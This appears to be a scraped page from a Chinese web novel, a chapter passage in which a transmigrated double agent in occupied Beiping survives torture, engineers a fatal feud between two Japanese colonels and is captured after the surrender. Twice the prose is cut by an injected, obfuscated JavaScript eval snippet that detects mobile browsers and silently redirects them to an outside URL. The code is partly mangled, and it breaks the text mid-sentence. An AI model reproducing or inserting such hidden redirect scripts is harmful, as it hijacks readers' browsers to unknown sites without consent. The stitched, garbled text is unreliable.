;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536864|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肆无忌惮。 但欺辱夏国人的事情,还是时有发生。 佐藤大佐带来的东瀛士兵们早已经对平川大佐不满了。 在沈听肆被佐藤大佐抓起来调查的这段时间,平川大佐也没有闲着。 这两年中沈听肆埋下来的钉子,全部被平川大佐给调查了出来。 他原本以为自己和佐藤大佐争权,只不过是明面上的事情,并不会牵扯到底下的士兵们。 可不调查不知道,如今一查才发现,他手下的人几乎已经要被佐藤大佐给搬空了! 若是沈听肆再被佐藤大佐给弄死,那他可就是真正的要陷入孤立无援的境地了。 到了那时,这整个北平城哪里还有半分他的立足之地? 明明说好是两个人共治,随便他一直都忌惮着佐藤大佐,却也从未对对方做过手脚。 可他的一再忍让,换来的竟是对方的得寸进尺! 平川大佐将调查来的资料锁到保险柜里,气势汹汹的冲出办公室,然后就看到在走廊的尽头,松井中佐和佐藤大佐两个人正聚在一起言笑晏晏。 明明松井中佐是他手下的人! 平川大佐心中顿时感到一阵发凉。 他们现在都开始丝毫不避讳着他了,岂不是说明他们早已经成竹在胸?确认即便当着他的面儿互相勾结在一起,而他也拿他们无可奈何? 吾命危矣…… 平川大佐怒气冲冲的走上前去,一把推开松井中佐,强硬的插进两个人的中间,丝毫不给面子的对佐藤大佐开口道,“佐藤君调查傅君也已经调查了十多天了,可有调查出个什么结果来吗?” 沈听肆做事自然是滴水不漏的,即便佐藤大佐对他严刑拷打,也依旧没有问出什么有用的信息。 面对平川大佐的质问,佐藤大佐愣了一瞬,随后他又笑了起来,“这些夏国人的骨头可硬了,短时间内是没有办法……” “呵,”佐藤大佐一席话没说完,平川大佐便直接一声冷笑打断了他,“我看你是根本调查不出什么东西,故意关着傅君吧?” 也不等佐藤大佐解释出口,平川大佐直接噼里啪啦一顿输出,“我已经给了你足够的时间了,既然你什么都没有查出来,那就说明傅君是一点问题都没有的,我现在就要把他给带回来。” 佐藤大佐拦不住,能眼睁睁的看着平川大佐带人强势的冲到了监牢里面去。 整个监牢里面充斥着浓郁的血腥味道,到处都是锋利可怖的尖刀,锯齿,锁链等用来严刑拷打的器具。 铁锈与血腥的味道浓烈到窒息,摇曳的灯火和唯一的活物争夺着为数不多的空气。 漫天血腥的夜色成了一张扭曲的画卷,刑具的影子被拉长,仿佛张牙舞爪的鬼影一般。 沈听肆被铁链绑在刑架上,沾满血迹的破烂衣摆随着铁链垂落,轻微的摇曳着。 外面响起了阵阵脚步声,每一步都带来重力的碾压在地面上血渍所产生的破碎声。 平川大佐想过沈听肆会在佐藤大佐的手里吃尽苦头,但万万没想到,再次见到的沈听肆,几乎被折磨成了一个血人。 他急忙冲过去,气急败坏的对着手下的人吩咐道,“还不快把人给我放开!” 现在的北平城里,全心全意替他着想的,恐怕就只有沈听肆一个人了。 绑在双臂上的铁链被解开,沈听肆整个身体无力地滑落下来,平川大佐连忙搀扶住他,看着那张白净的的脸沾满血污,平川大佐心中隐隐升起了一抹愧疚之意来,“傅君,抱歉。” 明明当日,他能够强势的不让佐藤大佐将沈听肆给带走,可为了维护两个人表面的和平,他终究还是并没有那样做。 但结果换来了什么呢? 他将佐藤大佐当成是自己人,即便气愤于他和自己夺权,却也从未想过对他下狠手。 但佐藤大佐,却是要让自己死! 因为有9999屏蔽痛觉,所以沈听肆的身体虽然看上去格外的凄惨,实际上的他并未受到太多的痛苦。 只不过,既然平川大佐如此的担心于他,他也乐意在平川大作面前上演一出“主仆情深”的戏码。 沈听肆将整个身体都靠在平川大佐的身上,显得格外的虚弱,说话都是断断续续,有气无力的,“让平川君为我担心了。” 平川大佐摇了摇头,“你先别说话,你的伤太重了,需要找个医生好好给你治疗一下。” 沈听肆努力挤出一抹笑来,只不过这笑容衬得他本就毫无血色的脸更加的惨白了,“麻烦平川君了。” 平川大佐将沈听肆带出来,吩咐手下的人开车往医院赶,在去医院的路上,他将自己所调查到的结果告诉了沈听肆,“我和佐藤君之间,恐怕没有办法善了了。” 沈听肆强撑着力气劝他,“既然如此,那平川君也需要早做打算。” 平川大佐点了点头,“我知道,只不过这些你就先别想了,等你的伤好了再说。” 沈听肆被送到了医院做治疗,平川大佐便直接离开了,毕竟他的身份放在这里,也不可能时时刻刻的守在沈听肆的病床前。 沈听肆身上的伤看起来虽然严重,但却都并没有伤及要害,都是一些皮外伤,在医院住了三天,沈听肆暂时不想再继续在病床上躺下去,所以便强行出了院。 9999简直要被他给气死,【你就作吧你,看看你这破身体还能再撑多久?】 此时的医院里面不像后世,会做全方面的检查,因此医生也只是治了沈听肆表面上的伤罢了。 但沈听肆的这具身体几乎已经快到了强弩之末。 之前戒烟就耗去了他半条命,再加上接二连三的受伤,铁打的人都受不了。 面对9999的絮絮叨叨,沈听肆只微微的笑了笑,【你放心,我心里有数的,再怎么也能够撑个一年半载的,那个时候也差不多到了东瀛人宣布投降了。】 9999一阵无语,【你就不能身强力壮的坚持到任务结束吗?非要把自己搞得一身伤。】 沈听肆对此一脸无辜,【我也不是故意的呀。】 9999:【……】 麻了。 因为沈听肆还没有好全,所以平川大佐特意放了他几天假。 沈听肆拦了一辆黄包车,坐在上面晃晃悠悠的回了傅宅。 之前这座宅子里住的人格外的多,如今却显得空旷了。 偌大的宅子安安静静的,几乎听不到半点声响。 沈听肆才回了自己的院子,都还来不及喝口水歇息一下,全身怒火缭绕的傅烆就冲了进来。 只不过才十几天不见,这个四十多岁的帅老头,鬓边竟生起了许多华发来,仿佛苍老了十几岁。 他在看到沈听肆的一瞬间眼里就沁出了泪,然后冲上前来,猛猛一个巴掌甩在了沈听肆的脸上,痛不欲生的嘶吼出声,“他是你的亲弟弟!” “你怎么能下得去手……” 20. 第 20 章 傅烆打过来的那一巴掌沈听肆并非不能躲避过去,但他却未曾打算要躲避。 傅逸安因为自己而死,这是不争的事实。 “你投靠东瀛人,为那些侵略者做事,这是你自己的选择,我没有想着去干涉于你。”四十多岁的中年男人,苍老的仿佛耄耋之年的老者,那双浑浊的眼睛里面含着泪,以及对儿子的恨铁不成钢。 “你不想经营傅家的生意,我也由着你去了,你想做的事情,我从未阻拦过你半分。” 傅烆身体颤抖了两下,哆嗦着手指搀扶住椅子,这才使得自己没有就这样摔倒下去。 他十分艰难的扶着椅子的扶手,一步一步,蹒跚地坐在椅子上。 原本满头的黑发中掺杂上了无数的白丝,变成一片灰蒙蒙的。 自己的这个儿子,从始至终一直都是他心中的骄傲,少时就格外聪慧先生所教的东西,只用教一遍,他就能完完全全的记下来,而且还会举一反三。 他将所有的期盼都放在这个儿子的身上,指望着对方将来能够继承傅家,使得傅家的生意更上一层楼,为他们以后的子孙后代赚得更好的生活,哪怕是在这个战火滔天,侵略者遍布的时代里面,也因为这一项生意,能够让全家得以保全。 送儿子出国留洋的最初愿望,是希望儿子能够学到外国人的那些生意手段,回来以后他就可以放手,让儿子来担当傅家的家主。 可他那原本听话懂事的儿子,出国两年回来以后,却毅然决然的放弃了家中的生意,转而跑去了北平大学教书。 傅烆到现在都还记得,二十岁出头的年轻人,身子挺的那样的直,目光是那样的坚定,“家园被毁,亲朋罹难,恨不得啖其肉,饮其血,抽其筋,将其挫骨扬灰!” “父亲,曾经我一叶障目,不识人间,但我既然懂得了这份国仇家恨,便义不容辞!” 当初那样带着满腔热血的一席话,让傅烆放了手,看着自己最期待的儿子,放下小家,舍身为国。 可不过短短两年的时间,当初那个激情澎湃,义愤填膺的青年,转头却变成了东瀛人的走狗,调转枪头对向了自己的同胞。 那时的他并没有做些什么太过于出格的事情,而且东瀛人的势力也越来越庞大,家里面能有个人在东瀛人身边做事,最起码生命安全能够得以保障。 于是傅烆转而开始培养自己的小儿子。 他以为他这个大儿子心中有数,即便给东瀛人做事,但是心中却是始终向着他们夏国的。 这些年来,他始终这么认为,并且坚定不移的相信着。 直到现在,傅烆才发现他错了,而且错的非常的离谱。 他竟然希望一个卖国贼能够保持住初心? 是他太天真,是他太过于信任。 以至于他的一个儿子变成了卖国贼,另一个儿子在他不知道的时候参加了红党。 到最后,兄弟阋墙。 一死一伤。 傅烆沉沉的叹了一口气,只觉得在这一瞬间,浑身上下所有的力气都被抽干净了。 他察觉到了前所未有的疲惫,身心俱累。 幸好他将妻女都送去了南方,北平只剩下他们父子三人,若是那几个女人也留在这里的话,说不定现在整个府里面都要被哭断了肠。 傅烆的身子摇摇晃晃,声音哽咽了起来,他偏了偏脑袋,却依旧阻挡不住眼底汹涌的泪水,“傅青隐,你我父子一场,我从未觉得我有哪里做的不称职的地方,从小到大,我在你和你弟弟之间,始终都是偏爱于你的。” “他争强好胜,卯足了心思想要超过你,可他心眼不坏,他从未想过要害你的……” 傅烆絮絮叨叨的说着,一双眼睛红的厉害,“你在动手的时候,就从未想过这些血脉亲情吗?” 傅烆下手的那一巴掌用了十成十的力,直打的沈听肆半边的脸都微微肿了起来,虽然他察觉不到疼痛,他整张脸都有些木木的钝。 沈听肆没有为自己解释的打算,他只是低下头,定定的望着傅烆,乘着灯火的眼眸里说不出是什么神情。 没有悲伤,没有难过,没有激动,没有痛苦。 仿佛是一汪沉寂多年的幽潭,彻底的死去了一样。 空洞的让人害怕。 沈听肆薄唇微启,一字一顿,说的格外认真,“我既然已经选择了动手,便从未将他当做我的弟弟了。” “血脉亲情……”沈听肆忽然停顿了一下,随后嘴角勾起一抹满含嘲讽的笑,“父亲,你觉得这个玩意儿,在这个乱世,能值几个大洋?” “傅青隐!”傅烆怒吼了一声,一口气卡在喉咙处,上不去下不来,整张脸都憋得通红。 他单手扶着桌子的边缘,咳嗽了好半晌,几乎要将肺都给咳出来了。 沈听肆就这样一直静静的看着,丝毫没有上前要去帮忙的打算。 还是守在外面的小丫鬟听到了不对劲的地方,急忙冲了进来,一边不断的用手拍着傅烆的背为他顺气,又一手倒了一杯温茶递给他喝。 一杯茶水下肚,傅烆感觉自己终于活过来了。 他看了一眼站在旁边担忧不已的小丫鬟,又抬头望了望仿佛事不关己的沈听肆,顿时觉得心中阵阵发凉。 那股凉意一直从心底不断的往外渗,传递到四肢百骸,渗透进骨头缝里。 这就是他寄予厚望,耗尽无数资源养出来的儿子。 太可笑了,简直是太可笑了! 亲手杀了自己的弟弟不算,还要眼睁睁的看着他这个父亲呛死也无动于衷。 傅烆对沈听肆彻底的失望,他沉默地盯着沈听肆的侧脸,许久未曾说话。 半晌过后,傅烆单手撑着桌子边缘艰难的站了起来,昏暗的灯光下,照得他的影子一阵微颤。 “我没有你这个儿子,从现在开始,你给我滚出傅宅!” 沈听肆站在原地,默默的看着傅烆渐行渐远的背影。 灯火摇曳中,那双宛若琉璃般的眼眸中,仿佛带着股无言的不舍。 最终也只化为了一道沉沉的叹息之声,“罢了。” 沈听肆转身,除了身上穿的那件衣裳以外,什么都没有带。 他就这样孑然一身的,一步一步走出了这座他住了二十多年的宅子。 9999心里泛起了密密麻麻的疼,【宿主,这个世上,最后一个相信你的人也不再相信了。】 踽踽独行,众叛亲离。 会累的吧? 沈听肆对此却接受良好,并没有什么悲伤难过,他抬头望向黑沉沉的天际,嗓音低到几乎听不见,【这原本就是我想要的结果,不是吗?】 傅青隐并不需要旁人的认可,也不需要任何人的信任。 在他选择走上这条路的时候,他就已经将自己的生命和声名全部都抛到脑后去了。 捐躯赴国难,视死忽如归。 傅青隐不在乎的。 【宿主,】看到沈听肆就这么孑然一身的离开了,9999开口提醒道,【你的电报机没有带走啊。】 沈听肆笑了笑,却没有说话。 一切尽在不言中。 沈听肆迎着浓重的夜色走出了傅家的大门,举目四眺,偌大的北平城,竟没有一处属于他的家。 就在他犹豫究竟该前往何方的时候,有两名东瀛士兵却忽然出现在了他的身旁,“傅君,平川君吩咐过了,若您实在无处可去,可以住在我们的租界里。” 沈听肆冲他点点头,露出一抹友好的笑意来,“那就麻烦了。” 坐上东瀛士兵开的小汽车,9999震惊的下巴都快掉下来了,【宿主……他们竟然派人监视你!】 如果刚才沈听肆离开的时候带上了那个电报机,那现在就被抓了个正着了啊! 9999顿时心中升起了无尽的后怕来,它差点害了自己的宿主! 沈听肆只轻轻笑了笑,缓缓地吐露出一句,【平川大佐从未切身实地的信任过我。】 只不过经此一事,那原本只有五分的信任,最起码也能升到八分了。 如此,虽说看起来不如百分百的信任那样有用,却也已经足够。 夜已经很深了,可当沈听肆到达东瀛人的租界的时候,平川大佐却未曾睡下,反而是笑意盈盈的站在门口迎接。 沈听肆一副受宠若惊的模样,连连走上前去,“平川君竟还未曾睡下?” 平川大佐抬手拍了拍沈听肆的肩膀,一边带着他往屋子里面走去,一边给他解释着,“这不是听说你无处可去了,傅君可是我在这北平最为重要的朋友,我岂能让你没有地方住?” 两个人说着话,很快就来到了北平大作安排好的房间。 这是在一栋小洋楼的三层,整个三层只有两间屋子,平川大佐抬手推开了左边屋子的门,笑意盈盈的对沈听肆开口道,“看看你还满不满意?若是有什么需要的,缺少的东西,尽管和我说,我安排人都给你准备上。” 沈听肆大致扫了一眼,屋子里面该有的家具一样不少,但似乎不该有的监听设备也多了很多。 将这一切看在眼里,沈听肆不动声色的对平川大佐说道,“我现在孑然一身,身上连一个大洋都拿不出来,能有这样的一个住处已经非常好了,没有什么其他所需要的,今日多谢平川君了。” 沈听肆半开玩笑的说,“要不然啊,我今日恐怕要去睡大街了,说不定明天还要和那些乞丐们抢位置。” 平川大佐对沈听肆的这番表现很是满意,没有再多说什么,就直接离开了,“傅君便好生在此休息,有什么其他的事情,等明日天亮了再说。” 沈听肆微笑着点头,将平川大佐送了出去,“平川君慢走。” 再次回到房间里,沈听肆按部就班的洗漱,上床休息。 整个过程中一言不发,就仿佛他是一个不会说话的哑巴一样。 9999难得调侃出声,【宿主,这个房间里面到处都是监听设备,你再想要和以前一样,与南方的反抗党们取得联系,可就变得万分艰难了哟。】 沈听肆自然是知道,【没关系。】 用不了多久,这些监听设备就会被拿走了。 他埋了那么久的雷,也到了该爆的时候。 平川大佐和佐藤大佐两个人之间的矛盾一触即发,两派人马之间的火药味儿几乎都快要弥散出来了,只不过却一直缺少一个导火索。 而这个导火索,需要一条人命去填补。 只不过这个所谓的人命,就是他们东瀛人自作自受了。 在一次晚宴上,平川大佐所喝的酒里面被下了毒。 虽然宴会上面所有一切入口的东西都是由东瀛人自己准备的,但因为沈听肆之前的一席话,平川大佐将自己的命看的格外的宝贵,所以只要是送到他面前的食物,他都要仔细的检查一番。 当一名东瀛侍从将一杯酒放在平川大佐面前时,沈听肆慢条斯理的拿出来了一根银针递了过去,“平川君。” 平川大佐将银针插在了酒杯里,就那么一刹那,银针的顶端就变黑了,沈听肆大惊失色,“酒里有毒!” 刹那之间,平川大佐掏出别在腰间的手枪对准了佐藤大佐,“你给我下毒!!!” 他虽然说着疑问的话,但语气却是无比的肯定。 佐藤大佐根本不知道发生了什么事情,还以为平川大佐是故意设了这么一个局来害自己,也立马掏出了枪,“这么低劣的手段,就想要陷害我?!” 他本就是一个脾气火爆的人,霎那间就已经按下了扳机。 “小心!”沈听肆护着平川大佐躲开,自己手臂上却中了一枪。 “好你个佐藤!”平川大佐也生气了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536865|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来只是质问,可没想到佐藤大佐竟然直接就动手了,如果沈听肆刚才动作慢上半分,自己岂不是已经成为了一个死人? 于是,争斗不休的两派人员彻底的杠上,平川大佐当场就掏枪打了回去。 两方人马打的不可开交,最终以佐藤大佐被平川大佐击毙,死了三百多名东瀛士兵结束。 乱世当中求生的人,无论是夏国人也好,东瀛人也罢,都仿佛是那挣扎在汹涌江海当中的蝼蚁,即便拼尽全力,用尽一切,到头来,终究也只是徒劳。 命运的齿轮滚滚向前,山河破碎,风雨飘零,个人的苦难在山河沦陷面前变得那样的微不足道,那样的不值一提。 佐藤大佐被击毙,平川大佐理应要受到营皇帝的处罚,可这个时候,东瀛人在海外的战场上面处处受挫,甚至是连他们的本土都遭受到了其他国家炮火的攻击,实在是没有那个心思再来管北平了。 于是,两年半前浩浩荡荡入驻北平城的佐藤大佐,就这样悄无声息的死去了。 死了以后,甚至连一块像样的墓碑都没有。 而松井中佐因为在这个过程当中两头倒,在佐藤大佐这一方的人马落败后,平川大佐寻了个由头,将松井中佐身上的职务全部都给撤了,让他成了一个空有中佐军衔,手下却没有半点权力的废人。 而沈听肆则是被大力提拔,成为了平川大佐的左膀右臂,基本上平川大佐处理的所有的事情都不再避讳着他。 这场仗打了一年又一年,人死了一片又一片,烽火蔓延在全国各地的每一处角落,空气当中也充满了硝烟与血腥。 随处可见穷困潦倒,麻木不仁的百姓,四处都是饥寒交迫,体无完肤的难民。 从沈听肆来到这个世界,已然是三年过去。 但是强压之下必有反抗,星星之火终会燎原。 列强们欺压的一切愤怒,终究让他们玩火自焚。 一四五年的秋天,胜利的消息传来。 ——东瀛的皇帝陛下宣布无条件投降。 侵略了夏国领土数十年的东瀛人们,终将要彻底的撤离。 大批的反抗军开始北上,迫不及待的想要将沦陷的北平给收复回来。 平川大佐接到消息后,愁的一张脸都变成了苦瓜样。 这撤离也不是一朝一夕的事情,而且作为战败国,他们很多人都是要上军事法庭的。 这其中也包括平川大佐自己。 “傅君,你可有什么办?”平川大佐现在已经彻底的将沈听肆当成是自己人了,一时之间手足无措之下,他竟是问起了沈听肆的想法。 似乎已经完全忘却了,沈听肆是一个夏国人。 “平川君是不想上军事法庭吗?”沈听肆一眼就看出了平川大佐的顾虑,他没有拐弯抹角的询问,而是直接指出了问题的中心。 平川大佐点了点头,惶惶不安的开口道,“上了军事法庭,按照我之前所做的事情,势必是要会被判处绞刑的,傅君可有什么别的办法?” 他好不容易才把佐藤大佐弄下台,原以为终于可以拿回属于自己的权利了,哪曾想到,竟然随时都有一命呜呼的风险。 沈听肆沉思了一会,略带迟疑的开口道,“办法是有一个,只不过就是有些冒险。” 平川大佐病急乱投医,“不管冒不冒险,你先说来听听。” 沈听肆才犹犹豫豫的说着,“虽然现在撤离的命令已经发下来了,但平川君可以假装未曾收到命令,那些夏国人的军队尚未赶到北平,平川君可以趁这个时间段,带着手下的兵迅速逃离。” “夏国人就算是要审判平川君,也只会在夏国的领土上。” 沈听肆一字一顿的说着,嗓音中充满了无尽的诱惑力,“可若是平川君在审判来临之前,就已经回到了东瀛呢?” “他们是没有那个能力强行将您从东瀛带回来的。” “就这么办!”平川大佐恨不得给沈听肆一个熊抱,他紧紧的握着沈听肆的手,感动不已,“这些年,我身边陆陆续续的有这么多人,可最终还是只有傅君你最懂我。” 说干就干,平川大佐为了以防万一,手下很多士兵都没有通知,带了一些自己最为亲近的人,急匆匆的就逃离了北平。 在原本的剧情,平川大佐因为投降态度良好,即便是上了军事法庭,却也安全无恙的下来了。 如今他率兵逃跑,公然违抗军令。 不知道这一次,是否还能够如原剧情一样的顺利脱身了。 —— 东瀛投降的事情传来,得知可以北上收复北平,温承松迫不及待的主动请缨。 他现在已经是一个团长了,手底下带着2000多人的兵。 迟则生变,为了能够确保那些东瀛的高官,和投靠了东瀛人的叛徒们全部都被绳之以法,温承松带着自己手下的兵日夜疾驰,就怕晚了导致他们跑掉了。 可即便如此日夜兼程,在离北平城还有一段距离的时候,温承松收到了一封来自于北平城的地下党同志们的信息。 平川大佐带了二三十人的亲信,轻装上路的要逃离。 这其中还有着,背叛了他们的傅青隐! 这让温承松如何能忍? 他直接点了五十多人的骑兵,快马加鞭的顺着北平大佐逃离的方向追去。 漫天血腥的夜色成了一张扭曲的画布,当那二十多个穿着黄绿色的东瀛军装的身影出现在自己视野当中的时候,温承松感觉自己的胸腔里面仿佛有什么东西在这一瞬间陡然燃烧起来了。 墨色的瞳孔当中映着扭曲的灯火,仿佛是充满恶意的火焰隐藏其中。 “你们已经被包围了,交枪不杀!” 他的目光越过重重人群,和不远处一身东瀛人军装的沈听肆对在一起。 傅青隐,看你这次,还要往哪里逃…… 21. 第 21 章 平川大佐一共才带了二十来个人,而且为了能够顺利逃脱,一群人都是轻装上阵,手中并没有拿着什么有杀伤力的武器。 因此,面对追上来的温承松等人,平川大佐瞬间都有些投鼠忌器了起来。 他知道,一旦两方开战,自己和自己所带来的人,极有可能就会直接死在这里。 虽然现在东瀛已经投降了,可他若是直接开战就相当于是反抗了国际盟约,温承松有权利将他直接击毙。 平川大佐一颗心砰砰直跳,下意识的将目光投向了沈听肆,寻求帮助,“傅君,我们现在怎么办?” 沈听肆全然一副愁眉苦脸的样子,“恐怕只能放下武器投降了,毕竟我们的人比较少,打不过对面。” “可是……”平川大佐非常迟疑,毕竟只要放下手里的武器,那就势必会上军事法庭,到时候万一判决下来,让他去吃枪子儿…… “平川君也不必太过于担心,”沈听肆见平川大佐犹豫不决,给他吃了一颗定心丸,“虽然夏国是战胜国,但夏国的国际地位依旧很弱,我相信皇帝陛下并不会就这样轻易的抛弃平川君和其他将军的。” 沈听肆说的似乎很有道理。 在平川大佐的认知当中,弱国是无外交的,他被判处绞刑的可能性确实比较小。 于是,平川大佐放下了手里的武器,对着自己手下的东瀛士兵喊了一声,“放下武器,投降吧。” 温承松真的很想拿着机枪把眼前的这些东瀛人和沈听肆全部都一起突突了,也在他们的身上设上几十个血窟窿,让他们好好的体会一下当初陈尽忠和“沈先生”死亡的时候究竟有多么的痛苦。 虽然感性让他非常的想这么做,和他的理性却制止了他。 东瀛人残暴不仁,穷凶极恶,但倘若他也这样做了,他和那些东瀛人又有什么区别呢? 温承松收缴了沈听肆和平川大佐等人的武器,将他们压着带回了北平。 今日的天气很好,秋日融融,艳阳高照,金色的光芒挥洒在众人脸上,照的细小的绒毛都金灿灿的。 沈听肆的身子越发的不好了,他跑出了二十多里地,一直是坐在车上的。 如今车子被收缴,他只能和其他的东瀛士兵们一样,步行返回北平。 暖色调的阳光洒落,沈听肆却只觉得浑身都冷的厉害,那般的秋老虎,使得不少人走两步就热得满头大汗,可却依旧照不尽沈听肆身体里的寒。 他的脸白的厉害,整张脸上没有半分的血色,嘴唇也已经干裂,甚至有丝丝鲜血透出来。 可如此这般的狼狈不堪,却让他显露出几分脆弱的美感。 【宿主,你还好吗?】见沈听肆几乎是走一步,踉跄一步,9999担心无比,唯恐任务还没有完成,自己的宿主就已经嗝屁了。 虽然身体虚弱的不行,但沈听肆的头脑还算是十分清醒,站着还有心思来安慰9999,【没事的,别担心,我心里有数,任务绝对不会失败。】 温承松踏着骄阳一步一步走近沈听肆,风中仇恨不见,只剩下尘埃落尽的无言。 他原本对沈听肆恨之入骨,在南方得知“沈先生”死亡的消息的时候,更恨不得立马就冲到北平来,将其挫骨扬灰。 可真当沈听肆被逮捕了以后,温承松心中却并没有那种大仇得报的痛快。 他只觉得难过,心脏处仿佛被蒙了一层东西,每跳动一下都会触碰到,勒得他一颗心无比难受。 闷闷的,顿顿的,不是很疼,却始终无法忽略。 这场战争,罹难了太多太多的同胞,即便将沈听肆千刀万剐,那些死去的人也终究无法回来了。 此番被捕,沈听肆再无逃跑的可能,将他押上刑场,在全北平城的百姓的围观下处以枪决,如此这般,便也能告慰陈老师和“沈先生”的在天之灵了。 只是,他这辈子,再也无法实现和“沈先生”围炉煮茶的愿景。 温承松一直都知道,沈听肆长得很好看,初次见面之时,他穿着一身月牙白的长衫,手中捧着一本书,站在飘着落叶的梧桐树下,说着自己的理想,说着国家危亡。 那一天的风很温柔,吹着他鬓边的碎发飘荡,安静淡雅的仿佛是一副肆意风流的水墨画。 可如今,这幅画却被弄脏揉碎了。 变得破烂不堪,充满脏污,扔在地上都不会有人看一眼,只会随手将它扔进垃圾桶里。 短短五年,物是人非。 【宿主,温承松在看你。】9999原以为温承松走过来是想要奚落一下沈听肆,嘲讽他如今变成了阶下囚,可温承松却并没有这样做,他只是用那种极其复杂的眼神看着沈听肆。 痛苦也好,悲伤也罢,似乎都在这一刻消散了去。 【我知道。】沈听肆应了一声9999。 扭过头的瞬间,目光正好与温承松对在了一起。 沈听肆勾着唇瓣笑了笑,嗓音很低,很缓,即便他已经很用力的维持着平静的口吻,却依旧遮盖不住那丝丝的颤音,“怎么,温团长这是还放不下过去的情分?” 温承松猛然从昔年的回忆当中抽神。 他冷笑了一声,面带嘲讽,“青天白日的,你竟已经做起梦来了?” 残忍的杀害昔日同胞的性命,踩着同胞的骨血向上爬。 沈听肆今日这般富裕的生活,架构在无数人的死亡和痛苦之上。 他们的那点子师生情,早已在五年前,对方选择叛变的时候就消耗殆尽了。 他现在想做的,就是将沈听肆带回去,执行枪决,给那些无辜枉死的人一个交代! “白日里做梦……”沈听肆呢喃了一下,嗓子已经彻底哑了,一股似有若无的敷衍从他的语调当中透露出来,“听起来似乎也是个不错的选择?” 温承松微微闭了闭眼,呼吸越发的沉重,他一字一顿,残忍的诉说着沈听肆的命运,“你会被执行枪决,在所有人的见证下被处死。” 说完这话,他目光直勾勾的盯着沈听肆表情,想要从他那张脸上看到后悔的神情,看到他痛哭流涕,看到他卑微乞求。 可温承松终究还是失望了。 沈听肆回眸轻轻笑了笑,那双琉璃般的眼眸里,除了漠然就是无奈,没有丝毫他渴望的神采。 沈听肆一步一步的往前走,哑着嗓子,轻轻飘飘的说了句,“我等着。” 就仿佛,温承松所有的痛苦,仇恨,埋怨,这些年的所有的国仇家恨,死掉的那么多那么多的夏国人,在沈听肆面前全部都不值一提。 温承松喉结滚动了一下,随后自嘲的笑了笑。 是了。 这人连自己的亲弟弟都能动手射杀,又怎么能指望他还有一颗悔悟的心? 温承松移开了视线,不再理会沈听肆,双腿用力的夹了一下马腹,马儿快速往前走,温承松很快就走到了最我的最前列,“加快速度,全速前进!” 前方的人突然走动的快速了起来,沈听肆被拉的一个踉跄,差点摔倒在地上。 走在他旁边的平川大佐下意识伸手搀扶住了他,略带担忧的问了一句,“你怎么样?” 沈听肆足够尽职尽责,时的平川大左已经成为了阶下囚,他却依旧保持着之前的态度,“没事,平川君不用担心。” 温承松带着这二十多个俘虏,一路从大东门经过,再全部关到监狱里去。 东瀛战败的消息已然传来,大批的东瀛士兵往外撤离,北平沦陷的这些年,百姓们是敢怒而不敢言,所有的苦楚都只能全部打碎了,往自己的肚子里面咽。 如今拿着自己人的军队将要驻扎,一个个欢欣鼓舞,格外雀跃。 纷纷攘攘的涌到街道上来,即便大部队还未曾来到,但他们却也足够欣喜。 可他们没想到,他们出来迎接到的并不是他们期盼了许久的夏国的军队,而是逃走了又被抓回来的傅青隐等人。 一时之间,群起激愤。 烂菜叶子,小石子,团成球体的废纸,甚至是还有家里面不要的泔水,全部都向着他们扔了过来。 百姓们苦压迫久矣,因此温承松并未曾阻止。 等到将这些人押到监牢的时候,基本上个个都是浑身狼狈。 温承松站在监牢的门口,亲眼看着沈听肆和平川大佐等人被关了进去。 他闭了闭眼睛,短暂的喜悦从他脸上消失,他只觉得自己的心头沉甸甸的。 那些曾经在他面前言笑晏晏的面容,这辈子也再无法相见了。 温承松最后看了一眼沈听肆逐渐走向黑暗中的背影,沉重的叹了一口气。 等他回去安顿下来的时候,大部队也已经进了城,方槿和乐倾川一整理好自己就来找他了。 方槿仰着脑袋,脸上露出喜悦的灿烂笑容,“我们终于等到了这一天,真是太好了!” 乐倾川可是有些紧张的望着温承松,“他们都没有跑掉吧?” 若是在这个紧要关头,让那些叛徒和东瀛人逃走了,那可真是…… 温承松微笑着摇了摇头,“没有,一个都没逃掉。” 他的目光愈发的坚定,“他们所有人,都要为自己曾经的所作所为付出代价。” 三个人交谈着,可方槿的情绪却突然变得有些低落,“我们可以正大光明的出现在街道上了,再也不用隐藏自己的身份,可是……陈老师和沈先生……” 方槿微微红了眼眶,“承松,我想他们了。” 温承松一直紧绷着的面容,在这一刻陡然败落,他的身体无力的弯了下去,眼眸中弥漫出痛苦的神情来。 刹那之间,原本还算欢乐的氛围变得格外的寂静。 三个人低着头,相顾无言。 就在这格外诡异的氛围中,屋外忽然响起了敲门声。 是傅云禾。 她似乎是一路匆匆赶来的,跑的额头上都冒出了密密麻麻的细汗,在温承松打开房门的一瞬间,她就迫不及待的抓住了温承松的胳膊,“我哥被关起来了,对不对?” “你让我见见他好不好?算我求你了……” 兄长绝对不是他们说的那样的人,她做的那些事情绝对有苦衷,只不过目前她并没有证据,她需要见到兄长一面,这样才能有办法找到证据,洗清楚兄长身上的嫌疑。 可是,温承松会用力的将自己的手臂从她的手中抽了出来,无比冷漠的说道,“不可以。” 傅云禾的身体晃了两下,她只觉得自己眼前阵阵发晕,心脏仿佛被什么东西给攥紧了似的,难受的紧。 她强忍着身体上的不适,苦苦哀求,“我没有想要做什么,他很快就要死了,你就让我见他最后一面,好不好?” “抱歉,”温承松依旧是拒绝,“这不合法律,而且你如果想要见他最后一面,在行刑现场也可以。” 